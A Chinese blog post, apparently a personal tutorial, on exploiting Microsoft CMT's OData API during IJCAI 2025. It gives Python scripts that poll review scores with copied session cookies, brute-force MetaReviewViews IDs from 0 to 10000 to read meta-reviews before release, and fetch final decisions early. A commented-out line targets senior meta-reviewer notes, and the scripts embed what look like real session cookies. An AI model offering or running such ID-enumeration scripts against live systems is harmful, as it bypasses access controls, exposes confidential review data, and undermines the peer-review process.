IJCAI 爆破教程!

IJCAI 2025 投稿监控与经验总结

投稿 IJCAI 2025 是一次难忘的经历，本文记录了我的投稿过程、实时评分监控、Meta-review 获取方式等一些实用的经验，希望对未来准备 IJCAI 的朋友有所帮助。

---

📊 接受率与背景

本年度 IJCAI 2025 的接受量 / 投稿量为：

• 接受量：1042
• 投稿量：5404
• 接受率：19.3%

相比往年低于 15% 的接受率，这一数字确实提升不少。不过，今年 CMT 和 IJCAI 的各种系统 bug 也让人哭笑不得……

---

📈 实时监控审稿人是否改分

为了能及时掌握评分变化，能够通过python脚本来实时监控 CMT 上的评分变动，并支持邮件提醒。

🧠 原理

利用 CMT 的 OData 接口，定时访问 ReviewViews 接口，记录当前的评分，并与之前抓取的结果做对比，一旦发生变动，通过邮箱提醒。

⚠️ 注意事项

• 你需要在浏览器中登录 CMT，按 F12 打开开发者工具，在 Application 面板中获取你的 Cookie 信息。
• 脚本支持记录日志，并将评分变化写入 ijcai_monitor_log.json 文件。
• 支持邮件通知（使用 Outlook SMTP）。

💻 脚本源码

点击查看评分监控脚本源码

import requests
import time
import smtplib
import copy
import json
import os
from datetime import datetime
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import platform

# xxxx is the reviewer id (replace it with your own reviewer ID)
urls = {
    641: "https://cmt3.research.microsoft.com/api/odata/IJCAI2025/ReviewViews(641)", #4
    5149: "https://cmt3.research.microsoft.com/api/odata/IJCAI2025/ReviewViews(5149)", #6
    15758: "https://cmt3.research.microsoft.com/api/odata/IJCAI2025/ReviewViews(15758)", #6
    19890: "https://cmt3.research.microsoft.com/api/odata/IJCAI2025/ReviewViews(19890)", #7
}

# 初始评分状态（第一次抓到后自动初始化）
last_scores = {}

# 日志记录
log_data = {
    "start_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
    "papers": {},
    "errors": []
}

# JSON日志文件路径
log_file = "ijcai_monitor_log.json"

# 如果日志文件已存在,加载之前的日志
if os.path.exists(log_file):
    try:
        with open(log_file, "r", encoding="utf-8") as f:
            log_data = json.load(f)
    except Exception as e:
        print(f"无法加载现有日志文件: {e}")

# 更新日志文件
def update_log():
    try:
        with open(log_file, "w", encoding="utf-8") as f:
            json.dump(log_data, f, ensure_ascii=False, indent=2)
    except Exception as e:
        print(f"无法更新日志文件: {e}")

# Cookie 与 Headers, 按F12获取（开发者模式下，应用栏）
cookies = {
    "MC1": "GUID=44928b063b3947518a67995891bf0044&HASH=4492&LV=202504&V=4&LU=1744614339104",
    ".TRACK": "1",
    ".ROLE": "Author",
    ".AspNetCore.Cookies": "CfDJ8JC1yWmjADxLvSP8DVdQ7PM9h9aXhei2M9X2n1gyKZDAzln5XwsqmKIfwA7qkbms31Y_5wMn76scpSspYkqF3VYwSt7u5lNTN21OIC97gNoumKnQMF1fI1-xerQAvNLX29vtm69sC-a0JdmHODOWNkq6L7FvjwH3ABskXLX09Y9VBLsVGuliIZhKXo0nuTkQUHDF4wqhxbuS6X3YlVnGv5DEcDDzes5lQzjWnfPXilfObgRwz1fCXZIstCbtNdZNutC7m2OfJtYP0GdssaJXQLxONo5IZjFoiVae-90jdRR-"
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.9",
    "Referer": "https://cmt3.research.microsoft.com/IJCAI2025/Submission/Index",
    "Origin": "https://cmt3.research.microsoft.com"
}

# 根据环境决定是否使用代理
if platform.system() == "Windows":
    # 仅在Windows下使用代理
    # proxies = {
    #     "http": "http://127.0.0.1:9090",
    #     "https": "http://127.0.0.1:7890"
    # }
    proxies = None
else:
    # Linux或其他系统不使用代理
    proxies = None

# 邮件配置
def send_email(subject, body):
    sender = ""         #email
    receiver = ""  #Email
    password = ""  # 您的密码

    msg = MIMEMultipart()
    msg["From"] = sender
    msg["To"] = receiver
    msg["Subject"] = subject
    msg.attach(MIMEText(body, "plain"))

    try:
        # 注意: 对于Outlook邮箱,需要修改SMTP服务器和端口
        server = smtplib.SMTP("smtp.office365.com", 587)
        server.starttls()
        server.login(sender, password)
        server.sendmail(sender, receiver, msg.as_string())
        server.quit()
        print("📧 Email sent successfully!")
    except Exception as e:
        print(f"❌ Email send failed: {e}")

# 主循环
while True:
    for rid, url in urls.items():
        try:
            response = requests.get(url, headers=headers, cookies=cookies, proxies=proxies, timeout=10)
            if response.status_code == 200:
                data = response.json()
                
                # 初始化该论文的日志记录(如果不存在)
                if str(rid) not in log_data["papers"]:
                    log_data["papers"][str(rid)] = {
                        "title": data.get("SubmissionTitle", "Unknown Title"),
                        "score_history": [],
                        "last_check": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                    }
                
                for question in data.get("Questions", []):
                    if question.get("Order") == 7:
                        new_value = question.get("Answers", [{}])[0].get("Value")
                        print(f"[{rid}] {new_value}", end="")
                        
                        # 更新日志的最后检查时间
                        log_data["papers"][str(rid)]["last_check"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                        
                        if rid not in last_scores:
                            last_scores[rid] = new_value
                            
                            # 记录初始分数
                            log_data["papers"][str(rid)]["score_history"].append({
                                "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                                "score": new_value,
                                "type": "initial"
                            })
                            
                        elif new_value != last_scores[rid]:
                            # 发生了变化
                            old = last_scores[rid]
                            last_scores[rid] = new_value  # 更新缓存值
                            title = data.get("SubmissionTitle", "Unknown Title")
                            
                            # 记录分数变化
                            log_data["papers"][str(rid)]["score_history"].append({
                                "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                                "score": new_value,
                                "previous_score": old,
                                "type": "change"
                            })
                            
                            msg = (
                                f"🔔 Score Changed!\n\n"
                                f"Paper ID: {rid}\n"
                                f"Title: {title}\n"
                                f"Old Score: {old}\n"
                                f"New Score: {new_value}\n"
                                f"Link: {url}"
                            )
                            print(msg)
                            send_email("IJCAI2025 - Review Score Changed", msg)
                        else:
                            print(f" - No change")
                        break
                print("")
            else:
                error_msg = f"Failed to fetch {rid}, Status code: {response.status_code}"
                print(error_msg)
                
                # 记录错误
                log_data["errors"].append({
                    "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                    "paper_id": rid,
                    "error": error_msg
                })
                
        except Exception as e:
            error_msg = f"[Error] {rid} -> {e}"
            print(error_msg)
            
            # 记录错误
            log_data["errors"].append({
                "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                "paper_id": rid,
                "error": str(e)
            })
        
        # 每次检查后更新日志文件
        update_log()

    print(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 等待下一次检查...\n")
    # 每 100 秒检查一次
    time.sleep(100)

🔍 如何查看 Meta-review

CMT 在 UI 上并不会第一时间公开 Meta-review， 但通过接口我们是可以提前看到的。

🚀 爆破方法

1. 登录 CMT 后复制 Cookie。

2. 使用以下脚本暴力访问 MetaReviewViews 接口：

   • 成功响应的 ID 即为你投稿的 Meta-review ID。

3. 用浏览器打开：

https://cmt3.research.microsoft.com/api/odata/IJCAI2025/MetaReviewViews/xxx

即可获取内容。

🔐 爆破脚本

点击查看爆破脚本源码

import requests
from concurrent.futures import ThreadPoolExecutor

cookies = {
    # "MC1": "GUID=44928b063b3947518a67995891bf0044&HASH=4492&LV=202504&V=4&LU=1744614339104",
    ".TRACK": "1",
    ".ROLE": "Author",
    ".AspNetCore.Cookies": "CfDJ8JC1yWmjADxLvSP8DVdQ7PPSPO1yb6CuSpzMHAMB4uGge4NbgHYHw6lXfTJqiOH-6W4DmeRjtQRwQisMbTQiO7Zby5UW9Bd8xkV8zCOP1xSPjNu3Up2F7RbYaBfx2LmuQ4lPttZJ8wGNTZ7Ei4WjEwTC6G7my3y16Pl93196VhECARZXr2AvW5ptDj1fI7bDkSLHAXzLfX1fj8tNxJ-IMuQk4jqJRcbLGhCVBFKpD3pxhrI-h2edsJJusMcuDBSnI5R6EttkeRGI6X_7-DmZEm63uvQ2eT1OfxbmzKSyaHaS"
}

def check_id(session, base_url, id):
    url = f"{base_url}/{id}"
    try:
        response = session.get(url)
        if 'error' not in response.text:
            print(f"✅ ID {id} is valid: {response.text[:200]}...")
            return id
        else:
            print(f"❌ ID {id} failed: {response.status_code} - {response.text[:500]}")
            return None
    except Exception as e:
        print(f"⚠️ Error checking ID {id}: {e}")
        return None

def check_valid_ids(base_url, start_id, end_id):
    valid_ids = []
    session = requests.Session()
    session.cookies.update(cookies)
    
    left = start_id
    right = end_id
    
    with ThreadPoolExecutor(max_workers=2) as executor:
        while left <= right:
            # 同时检查左右两端
            future_left = executor.submit(check_id, session, base_url, left)
            future_right = executor.submit(check_id, session, base_url, right) if left != right else None
            
            # 获取结果
            result_left = future_left.result()
            if result_left is not None:
                valid_ids.append(result_left)
                
            if future_right:
                result_right = future_right.result()
                if result_right is not None:
                    valid_ids.append(result_right)
            
            left += 1
            right -= 1
            
            # 如果找到有效ID，可以提前结束
            if valid_ids:
                # break
                print(f"Found valid IDs: {valid_ids}")
                # 继续检查剩余的ID
                
    return valid_ids

base_url = "https://cmt3.research.microsoft.com/api/odata/IJCAI2025/MetaReviewViews"
# base_url = "https://cmt3.research.microsoft.com/api/odata/IJCAI2025/SeniorMetaReviewerNoteViews"
start_id, end_id = 0, 10000
valid_ids = check_valid_ids(base_url, start_id, end_id)
print("\nValid IDs:", valid_ids)

---

🕵️‍♂️ 提前获取结果

除了评分和 Meta-review，有时我们还想尽早知道论文的最终状态。虽然 CMT 没有在 UI 上直接显示，但我们依然可以通过接口拿到 SubmissionStatus。

📌 操作步骤

1. 访问以下链接，获取你论文的 Submission ID 对应的 StatusId：

[https://cmt3.research.microsoft.com/api/odata/IJCAI2025/Submissions/你的论文编号](https://cmt3.research.microsoft.com/api/odata/IJCAI2025/Submissions/你的论文编号)

2. 然后用该 StatusId 去下面这个接口对应结果：

[https://cmt3.research.microsoft.com/api/odata/IJCAI2025/SubmissionStatuses](https://cmt3.research.microsoft.com/api/odata/IJCAI2025/SubmissionStatuses)

🎯 总结

这一年的 IJCAI 投稿过程中，我学到了很多，也踩了不少坑。总结几点经验分享如下：

• 接口随时可能改动：今年的接口结构相比去年有改动，建议务必注意抓包调试。
• 邮箱提醒是刚需：有些评分变化是在凌晨发生的，邮箱提醒能第一时间知道。
• Meta-review 不一定有用：提前看到 Meta-review 虽然能提前准备 rebuttal 或预期结果，但最终结果未必一致。

如果你也准备投稿 IJCAI，希望这些工具和经验能帮到你。欢迎交流分享！

提前获取结果

通过如下链接获取对应的status id
https://cmt3.research.microsoft.com/api/odata/IJCAI2025/Submissions/论文编号

对照如下链接中的状态，即可获取结果：
https://cmt3.research.microsoft.com/api/odata/IJCAI2025/SubmissionStatuses